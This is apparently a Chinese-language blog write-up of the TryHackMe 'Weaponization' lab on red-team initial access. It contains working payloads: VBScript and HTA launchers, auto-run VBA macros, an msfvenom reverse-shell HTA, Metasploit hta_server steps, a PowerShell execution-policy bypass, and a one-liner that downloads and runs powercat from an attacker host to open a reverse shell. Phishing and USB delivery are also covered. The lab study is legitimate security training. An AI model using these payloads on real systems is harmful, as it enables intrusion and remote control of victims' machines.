THM武器化

Weaponization

thm:https://tryhackme.com/room/weaponization

武器化

了解和探索常见的红队武器化技术。您将学习使用业内常见的方法构建自定义有效载荷以获得初始访问权限。

介绍

什么是武器化

武器化是网络杀伤链模型的第二阶段。在此阶段,攻击者使用可交付的有效负载(如 word 文档、PDF 等 [ 1 ])生成和开发自己的恶意代码。武器化阶段旨在使用恶意武器攻击目标机器并获得初始访问权限。

大多数组织都在运行 Windows 操作系统,这将成为一个可能的目标。组织的环境策略通常会阻止下载和执行 .exe文件以避免违反安全规定。因此,红队依赖于构建通过各种渠道发送的自定义有效负载,例如网络钓鱼活动、社会工程、浏览器或软件利用、USB 或 Web 方法。

下图是武器化的示例,其中使用精心制作的自定义 PDF 或 Microsoft Office 文档来传送恶意负载。自定义负载配置为连接回红队基础设施的命令和控制环境。

大多数组织在其受控环境中阻止或监视.exe 文件的执行 。出于这个原因,红队依赖于使用其他技术来执行有效负载,例如内置的 Windows 脚本技术。因此,此任务侧重于各种流行且有效的脚本编写技术,包括:

  • Windows 脚本宿主 (WSH)
  • HTML 应用程序 (HTA)
  • Visual Basic 应用程序 (VBA)
  • 电力外壳 (PSH)

Windows Scripting Host (WSH)

Windows 脚本宿主 (WSH)

Windows 脚本宿主是一个内置的 Windows 管理工具,它运行批处理文件以自动执行和管理操作系统中的任务。

它是 Windows 原生引擎,cscript.exe (用于命令行脚本)和wscript.exe (用于 UI 脚本),负责执行各种 Microsoft Visual Basic Sc​​ripts (VBScript),包括vbs 和vbe。有关 VBScript 的更多信息,请访问此处。请务必注意,Windows 操作系统上的 VBScript 引擎以与普通用户相同级别的访问权限和权限运行和执行应用程序;因此,它对红队很有用。

现在让我们编写一个简单的 VBScript 代码 来创建一个显示 欢迎使用 THM 消息的 Windows 消息框。确保将以下代码保存到文件中,例如 hello.vbs 。

Dim message 
message = "Welcome to THM"
MsgBox message

在第一行中,我们  使用 Dim声明了消息变量
然后我们在 消息变量中存储一个字符串值 Welcome to THM
在下一行中,我们使用 MsgBox 函数来显示变量的内容。

我们使用wscript运行并执行hello.vbs 的内容 。 结果,Windows 消息将弹出 欢迎 使用 THM 消息

现在让我们使用 VBScript 来运行可执行文件。以下vbs代码是调用Windows计算器,证明我们可以使用Windows原生引擎(WSH)执行.exe文件。

Set shell = WScript.CreateObject("Wscript.Shell")
shell.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName),0,True

使用 CreateObject创建WScript库的对象来调用执行负载。然后,我们利用 Run 方法来执行有效载荷。对于此任务,我们将 运行 Windows 计算器calc.exe

wscript c:\Users\thm\Desktop\payload.vbs

也可以通过cscript运行它

c:\Windows\System32>cscript.exe c:\Users\thm\Desktop\payload.vbs

Windows 计算器将出现在桌面上:

如果 VBS 文件被列入黑名单,那么我们可以将文件重命名为.txt文件并使用wscript运行它

c:\Windows\System32>wscript /e:VBScript c:\Users\thm\Desktop\payload.txt
 

可执行cmd.exe

创建cmd.vbs

Set shell = WScript.CreateObject("Wscript.Shell")
shell.Run("C:\Windows\System32\cmd.exe " & WScript.ScriptFullName),0,True

然后

wscript cmd.vbs

一个 HTML 应用程序 - HTA

HTML 应用程序 (HTA)

HTA 代表“HTML 应用程序”。它允许您创建一个可下载的文件,该文件包含有关其显示和呈现方式的所有信息。HTML 应用程序,也称为 HTA,是包含 JScript 和 VBScript 的动态 HTML页面。LOLBINS (Living-of-the-land Binaries) 工具 mshta用于执行 HTA 文件。它可以自己执行,也可以从 Internet Explorer 自动执行。

在以下示例中,我们将在我们的有效负载中使用 ActiveXObject 作为执行cmd.exe 的概念证明 。考虑以下 HTML 代码。

<html>
<body>
<script>
	var c= 'cmd.exe'
	new ActiveXObject('WScript.Shell').Run(c);
</script>
</body>
</html>

然后从 Web 服务器提供 payload.hta ,这可以从攻击机器完成,如下所示,

python3 -m http.server 8090

在受害机器上,使用 Microsoft Edge 访问恶意链接 http://10.8.232.37:8090/payload.hta 。请注意, 10.8.232.37 是 AttackBox 的 IP 地址。

一旦我们按下 运行, payload.hta 就会 被执行,然后它会调用 cmd.exe 。下图说明我们已经成功执行了 cmd.exe

HTA反接

我们可以创建一个反向 shell payload,如下所示,

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.120.254 LPORT=443 -f hta-psh -o thm.hta

然后开启本地监听

nc -lvnp 443

远程下载运行即可

**通过 Metasploit 的恶意 HTA **

主要使用这个模块:exploit/windows/misc/hta_server

需要选择并设置 LHOST 、  LPORT 、  SRVHOST 、  Payload等信息, 最后执行 exploit运行模块

msf6 > use exploit/windows/misc/hta_server
msf6 exploit(windows/misc/hta_server) > set LHOST 10.8.232.37
LHOST => 10.8.232.37
msf6 exploit(windows/misc/hta_server) > set LPORT 443
LPORT => 443
msf6 exploit(windows/misc/hta_server) > set SRVHOST 10.8.232.37
SRVHOST => 10.8.232.37
msf6 exploit(windows/misc/hta_server) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/misc/hta_server) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/misc/hta_server) >
[*] Started reverse TCP handler on 10.8.232.37:443
[*] Using URL: http://10.8.232.37:8080/TkWV9zkd.hta
[*] Server started.


然后访问http://10.8.232.37:8080/TkWV9zkd.hta即可shell

应用程序的 Visual Basic - VBA

应用程序的 Visual Basic (VBA)

VBA 代表 Visual Basic for Applications,这是 Microsoft 为 Microsoft Word、Excel、PowerPoint 等 Microsoft 应用程序实施的一种编程语言。VBA 编程允许自动执行用户与 Microsoft Office 应用程序之间几乎所有键盘和鼠标交互的任务。

宏是 Microsoft Office 应用程序,其中包含以称为 Visual Basic for Applications (VBA) 的编程语言编写的嵌入式代码。它用于创建自定义功能,以通过创建自动化流程来加速手动任务。 VBA 的功能之一是访问 Windows 应用程序编程接口 ( API ) 和其他低级功能。

现在创建一个新的空白 Microsoft 文档来创建我们的第一个 宏。目的是讨论该语言的基础知识,并展示如何在打开 Microsoft Word 文档时运行它。首先,我们需要通过选择 视图→ 宏来打开 Visual Basic 编辑器。宏窗口显示在文档中创建我们自己的宏。

在 宏名称 部分,我们选择将宏命名为 THM 。请注意,我们需要 从 列表Document1中的宏中进行选择 ,最后选择 创建。接下来,Microsoft Visual Basic for Application 编辑器显示了我们可以在何处编写 VBA 代码。让我们尝试显示一个包含以下消息的消息框: 欢迎来到武器化室!. 我们可以使用 MsgBox 函数来做到这一点,如下所示

Sub THM()
  MsgBox ("Welcome to Weaponization Room!")
End Sub

最后,通过F5或Run → Run Sub/UserForm运行宏

现在,为了在文档打开后自动执行 VBA 代码,我们可以使用内置函数,例如 AutoOpen 和 Document_open。请注意,我们需要指定文档打开后需要运行的函数名称,在我们的例子中是 THM 函数。

Sub Document_Open()
  THM
End Sub

Sub AutoOpen()
  THM
End Sub

Sub THM()
   MsgBox ("Welcome to Weaponization Room!")
End Sub

重要的是要注意,要使宏起作用,我们需要将其保存为启用宏的格式,例如.doc 和 docm。现在让我们将文件保存为Word 97-2003 模板,通过转到文件→保存 Document1并保存为类型 → Word 97-2003 文档启用 宏,最后保存

一旦我们允许 启用内容,我们的宏就会如图所示执行,

同时,我们可是使用其,启动一个calc.exe.

Sub Document_Open()
  PoC
End Sub

Sub AutoOpen()
  PoC
End Sub

Sub PoC()
	Dim payload As String
	payload = "calc.exe"
	CreateObject("Wscript.Shell").Run payload,0
End Sub

为了详细解释代码,使用 Dim payload As String,我们使用Dim关键字将payload 变量声明为字符串 。使用 payload = "calc.exe"我们指定负载名称,最后使用 CreateObject("Wscript.Shell").Run payload我们创建一个 Windows 脚本宿主 (WSH) 对象并运行负载。请注意,如果要重命名函数名称,则还必须在AutoOpen()和Document_open()函数中包含函数名称 。

PowerShell-PSH

PowerShell 是一种面向对象的编程语言,从 .NET中的动态语言运行时 (DLR) 执行 ,但遗留用途有一些例外

红队队员依靠 PowerShell 执行各种活动,包括初始访问、系统枚举等。 让我们首先创建一个打印“欢迎来到武器化室!”的简单 PowerShell 脚本,如下所示,

Write-Output "Welcome to the Weaponization Room!"

将文件另存为 thm.ps1 。 使用 Write-Output ,我们打印消息“Welcome to the Weaponization Room!” 到命令提示符

执行政策

PowerShell 的执行策略是一个 安全选项,用于保护系统免于运行恶意脚本。默认情况下,Microsoft出于安全目的禁止执行 PowerShell 脚本.ps1 。PowerShell 执行策略设置为Restricted,这意味着它允许单独的命令但不允许运行任何脚本。

PS C:\Users\thm> Get-ExecutionPolicy
Restricted

我们还可以通过运行以下命令轻松更改 PowerShell 执行策略:

Set-ExecutionPolicy -Scope CurrentUser RemoteSigned

绕过执行策略

Microsoft 提供了禁用此限制的方法。其中一种方法是为 PowerShell 命令提供一个参数选项,以将其更改为所需的设置。例如,我们可以将其更改为绕过策略,这意味着没有任何内容被阻止或限制。这很有用,因为它可以让我们运行自己的 PowerShell 脚本。

为了确保我们的 PowerShell 文件得到执行,我们需要在参数中提供绕过选项,如下所示,

C:\Users\thm\Desktop>powershell -ex bypass -File thm.ps1
Welcome to Weaponization Room!

现在,让我们尝试使用一种用 PowerShell 编写的工具powercat来获取反向 shell 。在你的 AttackBox 上,从 GitHub 下载它并运行一个网络服务器来传送有效负载。

user@machine$ git clone https://github.com/besimorhino/powercat.git
Cloning into 'powercat'...
remote: Enumerating objects: 239, done.
remote: Counting objects: 100% (4/4), done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 239 (delta 0), reused 2 (delta 0), pack-reused 235
Receiving objects: 100% (239/239), 61.75 KiB | 424.00 KiB/s, done.
Resolving deltas: 100% (72/72), done.

现在,我们需要在该 AttackBox 上设置一个 Web 服务器来为将在目标机器上下载和执行的powercat.ps1提供服务。接下来,将目录更改为 powercat 并开始侦听您选择的端口。在我们的例子中,我们将使用端口 8080 。

user@machine$ cd powercat
user@machine$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

在 AttackBox 上,我们需要使用nc监听端口1337以接收来自受害者的连接。

user@machine$ nc -lvp 1337

现在,我们从受害机器上下载有效载荷并使用 PowerShell 有效载荷执行它,如下所示,

C:\Users\thm\Desktop> powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://ATTACKBOX_IP:8080/powercat.ps1');powercat -c ATTACKBOX_IP -p 1337 -e cmd"

现在我们已经执行了上面的命令,受害者机器从我们的网络服务器(在 AttackBox 上)下载 powercat.ps1有效载荷,然后使用cmd.exe 在目标本地执行它,并将连接发送回正在侦听的 AttackBox在端口1337上。几秒钟后,我们应该收到连接回调:

user@machine$ nc -lvp 1337  listening on [any] 1337 ...
10.10.12.53: inverse host lookup failed: Unknown host
connect to [10.8.232.37] from (UNKNOWN) [10.10.12.53] 49804
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Users\thm>

命令与控制 -(C2 或 C&C)

此任务介绍红队操作中使用的命令和控制 ( C2 ) 框架的基本概念

什么是指挥与控制 (C2)?

C2框架是后开发框架,允许红队协作和控制受感染的机器。C2 被认为是红队在进攻性网络行动中最重要的工具之一。C2 框架提供快速和直接的方法来:

  • 生成各种恶意负载
  • 枚举受感染的机器/网络
  • 执行权限升级和旋转
  • 横向运动
  • 还有很多其他的

我们将简要介绍一些流行的C2框架,包括 Cobalt Strike、PowerShell Empire 和 Metasploit。这些框架中的大多数旨在支持一个方便的环境, 以便在获得对系统的初始访问权限后在红队操作之间进行共享和通信。

钴冲击

Cobalt Strike 是一个专注于对抗模拟和红队操作的商业框架。它结合了远程访问工具、后期开发功能和独特的报告系统。它为代理提供了建立秘密通信和执行各种操作的高级技术,包括键盘记录、文件上传和下载、VPN 部署、权限升级技术、mimikatz、端口扫描和最高级的横向移动。

PowerShell帝国

PowerShell Empire 是一个开源框架,可帮助红队操作员和渗透测试人员使用密钥和共享密码跨多个服务器进行协作。它是一个基于 PowerShell 和 Python 代理的开发框架。PowerShell Empire 专注于 Windows 和 Active Directory 环境的客户端和后期开发。

Metasploit

Metasploit 是一种广泛使用的开发框架,它提供各种技术和工具来轻松执行黑客攻击。它是一个开源框架,被认为是渗透测试和红队操作的主要工具之一。Metasploit 是我们在这个房间里用来为我们的武器化阶段生成有效载荷的工具之一。

传递技巧

传递技巧

交付技术是获得初始访问权的重要因素之一。他们必须看起来专业、合法且对受害者有说服力,才能跟进内容。

电子邮件递送

这是通过发送带有链接或附件的网络钓鱼电子邮件来发送有效负载的常用方法。如需了解更多信息,请访问此处。此方法会附加一个恶意文件,该文件可能是我们之前提到的类型。目标是说服受害者访问恶意网站或下载并运行恶意文件以获得对受害者网络或主机的初始访问权限。

红队应该有自己的网络钓鱼基础设施。根据红队参与要求,它需要在电子邮件服务器中设置各种选项,包括域名密钥识别邮件 ( DKIM )、发件人策略框架 (SPF) 和 DNS 指针 (PTR) 记录。

红队还可以使用第三方电子邮件服务,如谷歌 Gmail、Outlook、雅虎等信誉良好的公司。

另一种有趣的方法是使用公司内部的受感染电子邮件帐户在公司内部或向其他人发送网络钓鱼电子邮件。受感染的电子邮件可能会被网络钓鱼或其他技术(例如密码喷洒攻击)入侵。

网络交付

另一种方法是在由红队控制的 Web 服务器上托管恶意负载。Web 服务器必须遵循安全准则,例如其域名和 TLS(传输层安全)证书的干净记录和声誉。如需更多信息,请访问此处

此方法包括其他技术,例如对受害者进行社会工程以访问或下载恶意文件。使用此方法时,URL 缩短器可能会有所帮助。

在这种方法中,可以结合使用其他技术。攻击者可以利用零日攻击,例如利用易受攻击的软件(如 Java 或浏览器)在网络钓鱼电子邮件或 Web 传送技术中使用它们来获取对受害计算机的访问权限。

USB 传输

此方法需要受害者物理插入恶意 USB。这种方法在对手可以分发 USB 的会议或活动中可能有效且有用。有关 USB 传送的更多信息,请访问此处

通常,出于安全目的,组织会制定强有力的策略,例如在其组织环境中禁用 USB。而其他组织允许在目标环境中使用它。

用于武器化 USB 设备的常见 USB 攻击包括Rubber Ducky​​USBHarpoon,充电 USB 电缆,例如 O.MG Cable

练习场

直接上msf生成url连接访问即可

posted @ 2023-05-18 14:24  gvpn  阅读(61)  评论(0编辑  收藏  举报